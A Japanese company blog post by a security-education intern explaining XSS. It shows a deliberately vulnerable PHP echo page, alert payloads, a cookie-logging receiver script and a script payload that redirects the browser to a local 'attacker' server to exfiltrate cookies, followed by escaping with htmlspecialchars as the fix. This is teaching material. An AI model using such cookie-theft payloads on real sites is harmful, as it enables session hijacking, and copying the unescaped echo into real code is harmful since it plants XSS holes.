研究開発部の保要 (@takahoyo) です。 今回は弊チームのコンテンツ開発のインターンシップに参加している濱野が、インターンシップを通じて学んだことを共有します。
はじめに
こんにちは。株式会社エヌ・エフ・ラボラトリーズ 学生インターンの濱野です。 弊社では事業の1つとして、セキュリティ人材を育成する教育用のプラットフォームの開発を行っています。 私はその中で教育コンテンツの開発に主に取り組んでいます。
コンテンツ開発として最近ではXSSについてのコンテンツの作成を行いました。 それに関連して、今回はXSSによるCookieの窃取についての説明をしたいと思います。
インターンについて
本題に入る前に、インターンについて紹介したいと思います。 私は現在大学院の修士1年であり、授業等がない日を中心に週2日ほど勤務をしています。
勤務としては自宅からフルリモートで参加しています。 午前中にはデイリーミーティングが行われており、その時間に勤務している際にはインターン生も参加し、行うタスクの確認や質問などをします。 それ以外でも、SlackやGitLabで適宜質問をしたり、ランチ会など交流の場も用意してくださっているので、フルリモートでも問題なくコミュニケーションを取りながら業務を行うことができています。
また、卒論など研究が忙しい時期には勤務を減らしてもらったり、研究室の予定が急遽入った際には柔軟に勤務予定を変更してもらったりと、学業を優先して勤務を行うことができています。 このように学業に支障をきたさない範囲で勤務させていただけているのも、非常にありがたいです。 全体的に非常にやりやすい環境でインターンをさせていただいています。
XSSとは
では本題に入りましょう。まずは今回のテーマであるXSSについて簡単に説明します。 XSSとは、クロスサイト・スクリプティングという脆弱性の略称になります。 検索画面での入力ワードの出力や掲示板といったように、ユーザからの入力内容のような外部からの入力をウェブページに出力する箇所で発生し得る脆弱性です。 このような箇所でHTMLの生成に問題があると、不正なスクリプトなどが埋め込まれてしまいます。
具体的な例として、以下のようなページについて考えてみます。
<!DOCTYPE html> <html lang="en"> <body> <form method="post" action=""> <input type="text" id="userInput" name="userInput"> <button type="submit">Submit</button> </form> <div> <?php if (isset($_POST['userInput'])) { $userInput = $_POST['userInput']; echo $userInput; } ?> </div> </body> </html>
これは、入力ボックスに対する入力をそのまま出力するという簡単なページとなっています。 ここでPOSTリクエストにより送信された内容の出力を行っている以下の箇所に注目してみます。
<div> <?php if (isset($_POST['userInput'])) { $userInput = $_POST['userInput']; echo $userInput; } ?> </div>
例えば、Hello world
と入力された場合を考えます。
その時、この箇所は以下のようにHTMLが生成されます。
<div> Hello world </div>
そのため、ページの出力としては以下の画像のようになります。
一方で、<script>alert(1);</script>
のような入力がされた場合にはどのようになるでしょうか?
<div> <script>alert(1);</script> </div>
この時、上記のようなHTMLが生成されます。
すると入力された箇所はスクリプトタグとして処理されるため、alert(1)
というスクリプトが実行されてしまいます。
Cookieの窃取
XSSを利用した攻撃の1つとして、Cookieの窃取を紹介したいと思います。 今回はCookieについての詳しい説明は省略しますが、多くのアプリケーションでは、ログイン状態を保持するためにセッションID等が使われ、その情報を記憶するためにCookieが利用されます。 そのため、Cookieが窃取されることでセッションIDが盗まれてしまうと、不正ログインされてしまうなどの危険があります。このような攻撃のことをセッションハイジャックと呼びます。 本記事では、XSSによりCookieを窃取することに関して説明するため、Cookieやセッションハイジャックについてさらに知りたい方はぜひ調べてみてください。
上記のように、HTMLの生成に問題がある場合スクリプトを埋め込むことが可能になります。 これを利用してセッションIDが窃取される様子を説明したいと思います。
まずは前述のページのPHPコードに以下を追記してセッションIDの付与を行います。
<?php session_start(); ?>
以上の状態でページにアクセスすることでCookieにPHPSESSIDという値がセッションIDとして追加されます。
ページの機能は先程と同様であるため、入力として<script>alert(document.cookie);</script>
を与えてみます。
前述したようにXSS脆弱性があるので、alert(document.cookie)
というスクリプトが実行されてしまいます。
document.cookie
はページ上の全てのCookieを文字列として取得するプロパティとなっています。
そのため、これが実行されると以下のようにアラートボックスにCookieが表示されます。
しかし、このようなスクリプトが実行されてしまっても自身のブラウザ上でCookieが出力されるだけであり、第三者に盗まれるということはありません。 そのため、攻撃者がCookieの値を取得するためには何らかの形で送信させる必要があります。 ここでは、攻撃者の用意したサーバに送信させてみます。
攻撃の手順は以下のようになります。
- Cookieを受け取るためのサーバを用意する
- XSS脆弱性のあるページに、Cookieを1.で用意したサーバに送信するスクリプトを埋め込む
- 被害者がページを閲覧する等により、スクリプトが実行される
では、実際にローカルにサーバを立てて試してみます。
用意するサーバとしては、GETリクエストにおいて、cookie
というクエリパラメータで受け取った値をファイルに保存していく以下のようなページを用意します。
<?php $logFile = 'cookie.log'; $cookieData = $_GET['cookie'] . "\n"; file_put_contents($logFile, $cookieData, FILE_APPEND); ?>
次に入力についてです。
GETリクエストを送信させればよいため、以下のようにdocument.location.href
を書き換えることでリクエストを送信させることができます。
<script>document.location.href='http://localhost:5000/log.php?cookie='+document.cookie</script>
ここでdocument.location.hrefは、現在のウェブページのURLを表すプロパティであるため、これを変更することで被害者に意図しない外部サイトへリダイレクトさせることができます。 攻撃者用サーバをlocalhost:5000に立てたので、そのように指定しています。
今回は用意した脆弱なページに自分のブラウザで以上のリクエストを送信することで、攻撃者用サーバにCookieが送信されるか試してみます。
リクエスト送信後、攻撃者サーバ側でCookieの書き込みを行っているファイルを確認してみると確かに書き込まれていることがわかります。
今回は被害者側で自ら攻撃となる入力を行い実行させましたが、実際の攻撃では被害者が罠のページを閲覧してしまう等により、スクリプトを意図せずに実行してしまいます。
対策
XSS脆弱性が発生する主な原因の1つに特殊記号がエスケープされていないことが挙げられます。
HTMLにおいて特別な意味を持つ、<
, >
, &
, "
, '
のような記号の役割を打ち消し、単なる文字として扱う必要があります。
PHPではhtmlspecialchars関数を用いて、htmlspecialchars($userInput, ENT_QUOTES)
のように書くことで <
, >
, &
, "
, '
のエスケープが可能です。
エスケープは対策の一例であり、他にもアプリケーションに合わせた対策が考えられます。 IPAの安全なウェブサイトの作り方には他の対策手法についてもまとめられているので、ぜひ参考にしてみてください。
おわりに
今回はインターン業務として行っているコンテンツ開発から学んだ知識としてXSSについて説明させていただきました。 基本的な内容ですが、参考になったり、興味を持つきっかけになれば幸いです。